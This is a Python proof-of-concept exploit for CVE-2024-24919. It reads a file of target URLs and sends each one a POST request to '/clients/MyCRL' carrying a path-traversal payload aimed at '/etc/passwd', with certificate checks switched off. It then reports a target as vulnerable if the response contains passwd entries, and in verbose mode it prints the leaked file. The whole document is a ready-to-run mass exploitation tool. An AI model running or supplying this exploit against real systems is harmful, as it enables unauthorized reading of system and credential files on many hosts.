2-CVE-2024-24919-PoC.py

import argparse
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Disable warnings about insecure HTTP requests
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# List of strings indicating a vulnerable system
VULNERABLE_STRINGS = ['root:', 'nobody:']

def make_request(url, payload, verbose=False):
    """Make an HTTP POST request to the given URL with the provided payload."""
    try:
        response = requests.post(url, data=payload, verify=False)
        if response.ok:
            check_vulnerability(url, response.text, payload, verbose)
        else:
            print(f"[-] {url} responded with status code: {response.status_code}")
    except requests.RequestException as e:
        print(f"Error making request to {url}: {e}")

def check_vulnerability(url, response_text, payload, verbose):
    """Check the response text for signs of vulnerability."""
    for word in VULNERABLE_STRINGS:
        if word in response_text:
            print(f"Target {url} is vulnerable")
            if verbose:
                print(response_text)
            return
    print(f"Target {url} is not vulnerable")

def process_targets(file_path, payload, verbose):
    """Process a list of targets from a file and make requests to each."""
    try:
        with open(file_path, 'r') as file:
            urls = file.readlines()
            for url in urls:
                url = url.strip()
                if url.startswith('http://') or url.startswith('https://'):
                    make_request(url + '/clients/MyCRL', payload, verbose)
                else:
                    print(f"Skipping invalid URL: {url}")
    except FileNotFoundError:
        print(f"Error: File '{file_path}' not found.")
    except Exception as e:
        print(f"An error occurred: {e}")

def main():
    """Main function to parse arguments and initiate the scanning process."""
    parser = argparse.ArgumentParser(description="CVE-2024-24919 Exploit, made with love by Proton Negativo.")
    payload_default = "aCSHELL/../../../../../../../etc/passwd"
    
    parser.add_argument("-l", metavar='filename', type=str, default='target.txt', help="File containing list of HTTP/HTTPS targets (default: target.txt)")
    parser.add_argument("-p", metavar='payload', type=str, default=payload_default, help="Custom payload path (e.g., -p /etc/passwd)")
    parser.add_argument("-v", action='store_true', help="Verbose mode to show the response text")

    args = parser.parse_args()

    process_targets(args.l, args.p, args.v)

if __name__ == "__main__":
    main()